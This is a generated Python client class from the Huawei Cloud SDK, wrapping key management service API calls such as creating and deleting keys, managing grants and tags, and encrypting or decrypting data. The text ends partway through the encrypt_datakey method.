huaweicloud-sdk-kms/huaweicloudsdkkms/v1/kms_client.py
|
Adek06/huaweicloud-sdk-python-v3
|
3d13b27d089e04a1ae567cd649b3c5509e0391d2
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
from __future__ import absolute_import
import datetime
import re
import importlib
import six
from huaweicloudsdkcore.client import Client, ClientBuilder
from huaweicloudsdkcore.exceptions import exceptions
from huaweicloudsdkcore.utils import http_utils
from huaweicloudsdkcore.sdk_stream_request import SdkStreamRequest
class KmsClient(Client):
"""
:param configuration: .Configuration object for this client
:param pool_threads: The number of threads to use for async requests
to the API. More threads means more concurrent API requests.
"""
PRIMITIVE_TYPES = (float, bool, bytes, six.text_type) + six.integer_types
NATIVE_TYPES_MAPPING = {
'int': int,
'long': int if six.PY3 else long,
'float': float,
'str': str,
'bool': bool,
'date': datetime.date,
'datetime': datetime.datetime,
'object': object,
}
def __init__(self):
super(KmsClient, self).__init__()
self.model_package = importlib.import_module("huaweicloudsdkkms.v1.model")
self.preset_headers = {'User-Agent': 'HuaweiCloud-SDK-Python'}
@staticmethod
def new_builder(clazz):
return ClientBuilder(clazz)
def batch_create_kms_tags(self, request):
"""批量添加删除密钥标签
- 功能介绍：批量添加删除密钥标签。
:param BatchCreateKmsTagsRequest request
:return: BatchCreateKmsTagsResponse
"""
return self.batch_create_kms_tags_with_http_info(request)
def batch_create_kms_tags_with_http_info(self, request):
"""批量添加删除密钥标签
- 功能介绍：批量添加删除密钥标签。
:param BatchCreateKmsTagsRequest request
:return: BatchCreateKmsTagsResponse
"""
all_params = ['key_id', 'version_id', 'batch_create_kms_tags_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'key_id' in local_var_params:
path_params['key_id'] = local_var_params['key_id']
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/{key_id}/tags/action',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='BatchCreateKmsTagsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def cancel_grant(self, request):
"""撤销授权
- 功能介绍：撤销授权，授权用户撤销被授权用户操作密钥的权限。 - 说明： - 创建密钥的用户才能撤销该密钥授权。
:param CancelGrantRequest request
:return: CancelGrantResponse
"""
return self.cancel_grant_with_http_info(request)
def cancel_grant_with_http_info(self, request):
"""撤销授权
- 功能介绍：撤销授权，授权用户撤销被授权用户操作密钥的权限。 - 说明： - 创建密钥的用户才能撤销该密钥授权。
:param CancelGrantRequest request
:return: CancelGrantResponse
"""
all_params = ['version_id', 'cancel_grant_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/revoke-grant',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CancelGrantResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def cancel_key_deletion(self, request):
"""取消计划删除密钥
- 功能介绍：取消计划删除密钥。 - 说明：密钥处于“计划删除”状态才能取消计划删除密钥。
:param CancelKeyDeletionRequest request
:return: CancelKeyDeletionResponse
"""
return self.cancel_key_deletion_with_http_info(request)
def cancel_key_deletion_with_http_info(self, request):
"""取消计划删除密钥
- 功能介绍：取消计划删除密钥。 - 说明：密钥处于“计划删除”状态才能取消计划删除密钥。
:param CancelKeyDeletionRequest request
:return: CancelKeyDeletionResponse
"""
all_params = ['version_id', 'cancel_key_deletion_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/cancel-key-deletion',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CancelKeyDeletionResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def cancel_self_grant(self, request):
"""退役授权
- 功能介绍：退役授权，表示被授权用户不再具有授权密钥的操作权。 例如：用户A授权用户B可以操作密钥A/key，同时授权用户C可以撤销该授权， 那么用户A、B、C均可退役该授权，退役授权后，用户B不再可以使用A/key。 - 须知： 可执行退役授权的主体包括： - 创建授权的用户； - 授权中retiring_principal指向的用户； - 当授权的操作列表中包含retire-grant时，grantee_principal指向的用户。
:param CancelSelfGrantRequest request
:return: CancelSelfGrantResponse
"""
return self.cancel_self_grant_with_http_info(request)
def cancel_self_grant_with_http_info(self, request):
"""退役授权
- 功能介绍：退役授权，表示被授权用户不再具有授权密钥的操作权。 例如：用户A授权用户B可以操作密钥A/key，同时授权用户C可以撤销该授权， 那么用户A、B、C均可退役该授权，退役授权后，用户B不再可以使用A/key。 - 须知： 可执行退役授权的主体包括： - 创建授权的用户； - 授权中retiring_principal指向的用户； - 当授权的操作列表中包含retire-grant时，grantee_principal指向的用户。
:param CancelSelfGrantRequest request
:return: CancelSelfGrantResponse
"""
all_params = ['version_id', 'cancel_self_grant_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/retire-grant',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CancelSelfGrantResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_datakey(self, request):
"""创建数据密钥
- 功能介绍：创建数据密钥，返回结果包含明文和密文。
:param CreateDatakeyRequest request
:return: CreateDatakeyResponse
"""
return self.create_datakey_with_http_info(request)
def create_datakey_with_http_info(self, request):
"""创建数据密钥
- 功能介绍：创建数据密钥，返回结果包含明文和密文。
:param CreateDatakeyRequest request
:return: CreateDatakeyResponse
"""
all_params = ['version_id', 'create_datakey_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/create-datakey',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateDatakeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_datakey_without_plaintext(self, request):
"""创建不含明文数据密钥
- 功能介绍：创建数据密钥，返回结果只包含密文。
:param CreateDatakeyWithoutPlaintextRequest request
:return: CreateDatakeyWithoutPlaintextResponse
"""
return self.create_datakey_without_plaintext_with_http_info(request)
def create_datakey_without_plaintext_with_http_info(self, request):
"""创建不含明文数据密钥
- 功能介绍：创建数据密钥，返回结果只包含密文。
:param CreateDatakeyWithoutPlaintextRequest request
:return: CreateDatakeyWithoutPlaintextResponse
"""
all_params = ['version_id', 'create_datakey_without_plaintext_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/create-datakey-without-plaintext',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateDatakeyWithoutPlaintextResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_grant(self, request):
"""创建授权
- 功能介绍：创建授权，被授权用户可以对授权密钥进行操作。 - 说明： - 服务默认主密钥（密钥别名后缀为“/default”）不可以授权。
:param CreateGrantRequest request
:return: CreateGrantResponse
"""
return self.create_grant_with_http_info(request)
def create_grant_with_http_info(self, request):
"""创建授权
- 功能介绍：创建授权，被授权用户可以对授权密钥进行操作。 - 说明： - 服务默认主密钥（密钥别名后缀为“/default”）不可以授权。
:param CreateGrantRequest request
:return: CreateGrantResponse
"""
all_params = ['version_id', 'create_grant_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/create-grant',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateGrantResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_key(self, request):
"""创建密钥
- 功能介绍：创建用户主密钥，可用来加密数据密钥。 - 说明： 别名“/default”为服务默认主密钥的后缀名，由服务自动创建。因此用户创建的主密钥别名不能与服务默认主密钥的别名相同，即后缀名不能为“/default”。对于开通企业项目的用户，服务默认主密钥属于且只能属于默认企业项目下，且不支持企业资源的迁入迁出。服务默认主密钥为用户提供基础的云上加密功能，满足合规要求。因此，在企业多项目下，其他非默认企业项目下的用户均可使用该密钥。若客户有企业管理资源诉求，请自行创建和使用密钥。
:param CreateKeyRequest request
:return: CreateKeyResponse
"""
return self.create_key_with_http_info(request)
def create_key_with_http_info(self, request):
"""创建密钥
- 功能介绍：创建用户主密钥，可用来加密数据密钥。 - 说明： 别名“/default”为服务默认主密钥的后缀名，由服务自动创建。因此用户创建的主密钥别名不能与服务默认主密钥的别名相同，即后缀名不能为“/default”。对于开通企业项目的用户，服务默认主密钥属于且只能属于默认企业项目下，且不支持企业资源的迁入迁出。服务默认主密钥为用户提供基础的云上加密功能，满足合规要求。因此，在企业多项目下，其他非默认企业项目下的用户均可使用该密钥。若客户有企业管理资源诉求，请自行创建和使用密钥。
:param CreateKeyRequest request
:return: CreateKeyResponse
"""
all_params = ['version_id', 'create_key_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/create-key',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateKeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_kms_tag(self, request):
"""添加密钥标签
- 功能介绍：添加密钥标签。
:param CreateKmsTagRequest request
:return: CreateKmsTagResponse
"""
return self.create_kms_tag_with_http_info(request)
def create_kms_tag_with_http_info(self, request):
"""添加密钥标签
- 功能介绍：添加密钥标签。
:param CreateKmsTagRequest request
:return: CreateKmsTagResponse
"""
all_params = ['version_id', 'key_id', 'create_kms_tag_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
if 'key_id' in local_var_params:
path_params['key_id'] = local_var_params['key_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/{key_id}/tags',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateKmsTagResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_parameters_for_import(self, request):
"""获取密钥导入参数
- 功能介绍：获取导入密钥的必要参数，包括密钥导入令牌和密钥加密公钥。 - 说明：返回的公钥类型默认为RSA_2048。
:param CreateParametersForImportRequest request
:return: CreateParametersForImportResponse
"""
return self.create_parameters_for_import_with_http_info(request)
def create_parameters_for_import_with_http_info(self, request):
"""获取密钥导入参数
- 功能介绍：获取导入密钥的必要参数，包括密钥导入令牌和密钥加密公钥。 - 说明：返回的公钥类型默认为RSA_2048。
:param CreateParametersForImportRequest request
:return: CreateParametersForImportResponse
"""
all_params = ['version_id', 'create_parameters_for_import_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/get-parameters-for-import',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateParametersForImportResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_random(self, request):
"""创建随机数
- 功能介绍： 生成8~8192bit范围内的随机数。 生成512bit的随机数。
:param CreateRandomRequest request
:return: CreateRandomResponse
"""
return self.create_random_with_http_info(request)
def create_random_with_http_info(self, request):
"""创建随机数
- 功能介绍： 生成8~8192bit范围内的随机数。 生成512bit的随机数。
:param CreateRandomRequest request
:return: CreateRandomResponse
"""
all_params = ['version_id', 'create_random_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/gen-random',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateRandomResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def decrypt_data(self, request):
"""解密数据
- 功能介绍：解密数据。
:param DecryptDataRequest request
:return: DecryptDataResponse
"""
return self.decrypt_data_with_http_info(request)
def decrypt_data_with_http_info(self, request):
"""解密数据
- 功能介绍：解密数据。
:param DecryptDataRequest request
:return: DecryptDataResponse
"""
all_params = ['version_id', 'decrypt_data_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/decrypt-data',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DecryptDataResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def decrypt_datakey(self, request):
"""解密数据密钥
- 功能介绍：解密数据密钥，用指定的主密钥解密数据密钥。
:param DecryptDatakeyRequest request
:return: DecryptDatakeyResponse
"""
return self.decrypt_datakey_with_http_info(request)
def decrypt_datakey_with_http_info(self, request):
"""解密数据密钥
- 功能介绍：解密数据密钥，用指定的主密钥解密数据密钥。
:param DecryptDatakeyRequest request
:return: DecryptDatakeyResponse
"""
all_params = ['version_id', 'decrypt_datakey_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/decrypt-datakey',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DecryptDatakeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def delete_imported_key_material(self, request):
"""删除密钥材料
- 功能介绍：删除密钥材料信息。
:param DeleteImportedKeyMaterialRequest request
:return: DeleteImportedKeyMaterialResponse
"""
return self.delete_imported_key_material_with_http_info(request)
def delete_imported_key_material_with_http_info(self, request):
"""删除密钥材料
- 功能介绍：删除密钥材料信息。
:param DeleteImportedKeyMaterialRequest request
:return: DeleteImportedKeyMaterialResponse
"""
all_params = ['version_id', 'delete_imported_key_material_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/delete-imported-key-material',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DeleteImportedKeyMaterialResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def delete_key(self, request):
"""计划删除密钥
- 功能介绍：计划多少天后删除密钥，可设置7天～1096天内删除密钥。
:param DeleteKeyRequest request
:return: DeleteKeyResponse
"""
return self.delete_key_with_http_info(request)
def delete_key_with_http_info(self, request):
"""计划删除密钥
- 功能介绍：计划多少天后删除密钥，可设置7天～1096天内删除密钥。
:param DeleteKeyRequest request
:return: DeleteKeyResponse
"""
all_params = ['version_id', 'delete_key_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/schedule-key-deletion',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DeleteKeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def delete_tag(self, request):
"""删除密钥标签
- 功能介绍：删除密钥标签。
:param DeleteTagRequest request
:return: DeleteTagResponse
"""
return self.delete_tag_with_http_info(request)
def delete_tag_with_http_info(self, request):
"""删除密钥标签
- 功能介绍：删除密钥标签。
:param DeleteTagRequest request
:return: DeleteTagResponse
"""
all_params = ['key_id', 'key', 'version_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'key_id' in local_var_params:
path_params['key_id'] = local_var_params['key_id']
if 'key' in local_var_params:
path_params['key'] = local_var_params['key']
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/{key_id}/tags/{key}',
method='DELETE',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DeleteTagResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def disable_key(self, request):
"""禁用密钥
- 功能介绍：禁用密钥，密钥禁用后不可以使用。 - 说明：密钥为启用状态才能禁用密钥。
:param DisableKeyRequest request
:return: DisableKeyResponse
"""
return self.disable_key_with_http_info(request)
def disable_key_with_http_info(self, request):
"""禁用密钥
- 功能介绍：禁用密钥，密钥禁用后不可以使用。 - 说明：密钥为启用状态才能禁用密钥。
:param DisableKeyRequest request
:return: DisableKeyResponse
"""
all_params = ['version_id', 'disable_key_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/disable-key',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DisableKeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def disable_key_rotation(self, request):
"""关闭密钥轮换
- 功能介绍：关闭用户主密钥轮换。
:param DisableKeyRotationRequest request
:return: DisableKeyRotationResponse
"""
return self.disable_key_rotation_with_http_info(request)
def disable_key_rotation_with_http_info(self, request):
"""关闭密钥轮换
- 功能介绍：关闭用户主密钥轮换。
:param DisableKeyRotationRequest request
:return: DisableKeyRotationResponse
"""
all_params = ['version_id', 'disable_key_rotation_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/disable-key-rotation',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='DisableKeyRotationResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def enable_key(self, request):
"""启用密钥
- 功能介绍：启用密钥，密钥启用后才可以使用。 - 说明：密钥为禁用状态才能启用密钥。
:param EnableKeyRequest request
:return: EnableKeyResponse
"""
return self.enable_key_with_http_info(request)
def enable_key_with_http_info(self, request):
"""启用密钥
- 功能介绍：启用密钥，密钥启用后才可以使用。 - 说明：密钥为禁用状态才能启用密钥。
:param EnableKeyRequest request
:return: EnableKeyResponse
"""
all_params = ['version_id', 'enable_key_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/enable-key',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='EnableKeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def enable_key_rotation(self, request):
"""开启密钥轮换
- 功能介绍：开启用户主密钥轮换。 - 说明： - 开启密钥轮换后，默认轮询间隔时间为365天。 - 默认主密钥及外部导入密钥不支持轮换操作。
:param EnableKeyRotationRequest request
:return: EnableKeyRotationResponse
"""
return self.enable_key_rotation_with_http_info(request)
def enable_key_rotation_with_http_info(self, request):
"""开启密钥轮换
- 功能介绍：开启用户主密钥轮换。 - 说明： - 开启密钥轮换后，默认轮询间隔时间为365天。 - 默认主密钥及外部导入密钥不支持轮换操作。
:param EnableKeyRotationRequest request
:return: EnableKeyRotationResponse
"""
all_params = ['version_id', 'enable_key_rotation_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/enable-key-rotation',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='EnableKeyRotationResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def encrypt_data(self, request):
"""加密数据
- 功能介绍：加密数据，用指定的用户主密钥加密数据。
:param EncryptDataRequest request
:return: EncryptDataResponse
"""
return self.encrypt_data_with_http_info(request)
def encrypt_data_with_http_info(self, request):
"""加密数据
- 功能介绍：加密数据，用指定的用户主密钥加密数据。
:param EncryptDataRequest request
:return: EncryptDataResponse
"""
all_params = ['version_id', 'encrypt_data_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/encrypt-data',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='EncryptDataResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def encrypt_datakey(self, request):
"""加密数据密钥
- 功能介绍：加密数据密钥，用指定的主密钥加密数据密钥。
